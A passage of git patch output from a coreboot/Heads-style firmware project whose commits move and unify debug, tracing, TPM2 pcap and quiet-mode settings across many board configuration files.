CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index 67bcbcdc8..e695df4ff 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -74,8 +74,6 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 2882efd2a..9d4e0e6fd 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -74,8 +74,6 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index 372e24e8b..35aa57d10 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -74,8 +74,6 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index 3a60ce8a6..03a711e4f 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -74,8 +74,6 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index acf929140..4ab33a434 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -60,8 +60,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 121df8d4e..1293dd2d4 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -58,8 +58,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index f68bd4acb..4b64ffefa 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -58,8 +58,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 8427afeeb..4164db3d7 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -58,8 +58,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 1ddc61095..bdd005aed 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -60,8 +60,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 5182f7bd0..b291fa946 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -59,8 +59,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 183866f14..ddb91dbad 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -60,8 +60,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index d8cc66a76..bb691ad71 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -59,8 +59,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 32b4c9f6c..b8dc88e4d 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -60,8 +60,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 0e23166ee..2bd094ec3 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -59,8 +59,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index f8c99c0d4..0e8c84202 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -72,8 +72,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 261311ab4..cdd0c8677 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -74,8 +74,6 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 8d15f4c2c..8508baa8e 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -68,8 +68,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index 892d74872..7ca110578 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -71,8 +71,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 04c0dc580..78cc64922 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -62,8 +62,6 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index 580b2cded..c254331d9 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -54,8 +54,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n From 27b3e3a0a0f2c044feb9f039142a5474f8c9176a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 21 Dec 2024 10:11:43 -0500 Subject: [PATCH 452/619] qemu-*-prod_quiet board configs: move debug(n)+tracing(n)+pcap(n)+quiet(y) just prior of gui-init to attempt to unify to all boards Signed-off-by: Thierry Laurion --- ...eboot-fbwhiptail-tpm1-hotp-prod_quiet.config | 17 +++++++---------- ...eboot-fbwhiptail-tpm2-hotp-prod_quiet.config | 16 +++++++--------- 2 files changed, 14 insertions(+), 19 deletions(-) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config index bbda97069..6bca66b21 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config @@ -18,15 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -85,6 +76,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -95,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config index cf8491f58..05422e305 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config @@ -17,14 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -84,6 +76,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -94,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu From ff94d78c03e74e2d8402213363515471645b213a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 21 Dec 2024 10:45:58 -0500 Subject: [PATCH 453/619] all maintained boards: add debug(n)+tracing(n)+pcap(n)+quiet(y) just prior of bootscript to unify to all boards with exception of - qemu boards not being *quiet: quiet=n - qemu boards not being *prod* having pcap=y - qemy boards not being *prod* have debug+tracing=y - qemu tpm1 boards have '#pcap=n' Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 7 +++++++ .../UNMAINTAINED_kgpe-d16_server.config | 7 +++++++ ...TAINED_kgpe-d16_workstation-usb_keyboard.config | 7 +++++++ .../UNMAINTAINED_kgpe-d16_workstation.config | 7 +++++++ .../UNTESTED_t440p-maximized.config | 7 +++++++ boards/UNTESTED_talos-2/UNTESTED_talos-2.config | 7 +++++++ .../UNTESTED_w541-maximized.config | 7 +++++++ boards/librem_11/librem_11.config | 7 +++++++ boards/librem_13v2/librem_13v2.config | 7 +++++++ boards/librem_13v4/librem_13v4.config | 7 +++++++ boards/librem_14/librem_14.config | 7 +++++++ boards/librem_15v3/librem_15v3.config | 7 +++++++ boards/librem_15v4/librem_15v4.config | 7 +++++++ boards/librem_l1um/librem_l1um.config | 7 +++++++ boards/librem_l1um_v2/librem_l1um_v2.config | 7 +++++++ boards/librem_mini/librem_mini.config | 7 +++++++ boards/librem_mini_v2/librem_mini_v2.config | 7 +++++++ boards/nitropad-ns50/nitropad-ns50.config | 14 +++++++------- .../novacustom_nv4x_adl/novacustom_nv4x_adl.config | 14 +++++++------- .../optiplex-7010_9010-hotp-maximized.config | 11 +++++++---- .../optiplex-7010_9010-maximized.config | 11 +++++++---- .../optiplex-7010_9010_TXT-hotp-maximized.config | 11 +++++++---- .../optiplex-7010_9010_TXT-maximized.config | 11 +++++++---- .../qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config | 10 ++++++++-- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 14 +++++++------- .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 10 ++++++++-- .../qemu-coreboot-fbwhiptail-tpm1.config | 14 +++++++------- .../qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config | 14 +++++++------- ...coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config | 1 - .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 13 +++++++------ .../qemu-coreboot-fbwhiptail-tpm2-prod.config | 14 +++++++------- .../qemu-coreboot-fbwhiptail-tpm2.config | 13 +++++++------ .../qemu-coreboot-whiptail-tpm1-hotp-prod.config | 10 ++++++++-- .../qemu-coreboot-whiptail-tpm1-hotp.config | 14 +++++++------- .../qemu-coreboot-whiptail-tpm1-prod.config | 10 ++++++++-- .../qemu-coreboot-whiptail-tpm1.config | 14 +++++++------- .../qemu-coreboot-whiptail-tpm2-hotp-prod.config | 14 +++++++------- .../qemu-coreboot-whiptail-tpm2-hotp.config | 13 +++++++------ .../qemu-coreboot-whiptail-tpm2-prod.config | 14 +++++++------- .../qemu-coreboot-whiptail-tpm2.config | 12 +++++++----- .../t420-hotp-maximized/t420-hotp-maximized.config | 7 +++++++ boards/t420-maximized/t420-maximized.config | 7 +++++++ .../t430-hotp-maximized/t430-hotp-maximized.config | 7 +++++++ boards/t430-maximized/t430-maximized.config | 7 +++++++ .../t530-hotp-maximized/t530-hotp-maximized.config | 7 +++++++ boards/t530-maximized/t530-maximized.config | 7 +++++++ .../w530-hotp-maximized/w530-hotp-maximized.config | 7 +++++++ boards/w530-maximized/w530-maximized.config | 7 +++++++ .../x220-hotp-maximized/x220-hotp-maximized.config | 7 +++++++ boards/x220-maximized/x220-maximized.config | 7 +++++++ .../x230-hotp-maximized-fhd_edp.config | 7 +++++++ .../x230-hotp-maximized/x230-hotp-maximized.config | 11 +++++++---- .../x230-hotp-maximized_usb-kb.config | 11 +++++++---- .../x230-maximized-fhd_edp.config | 7 +++++++ boards/x230-maximized/x230-maximized.config | 11 +++++++---- .../z220-cmt-maximized/z220-cmt-maximized.config | 7 +++++++ 56 files changed, 389 insertions(+), 130 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 271affcd0..27dccb6bf 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -51,6 +51,13 @@ export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index be247d9f5..8ed475d76 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -43,6 +43,13 @@ CONFIG_LINUX_E1000E=y export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y #BOOT SCRIPT SELECTION export CONFIG_BOOTSCRIPT=/bin/generic-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index a7555897c..f5c4bfb85 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -49,6 +49,13 @@ export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index fe4b0a944..0615434b7 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -50,6 +50,13 @@ export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config index 6ea92e2f6..2d54aeb35 100644 --- a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config +++ b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config @@ -34,6 +34,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config index 9751df12f..a68149d0b 100644 --- a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config +++ b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config @@ -41,6 +41,13 @@ export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_BOOT_EXTRA_TTYS="tty0" export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/talos-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git 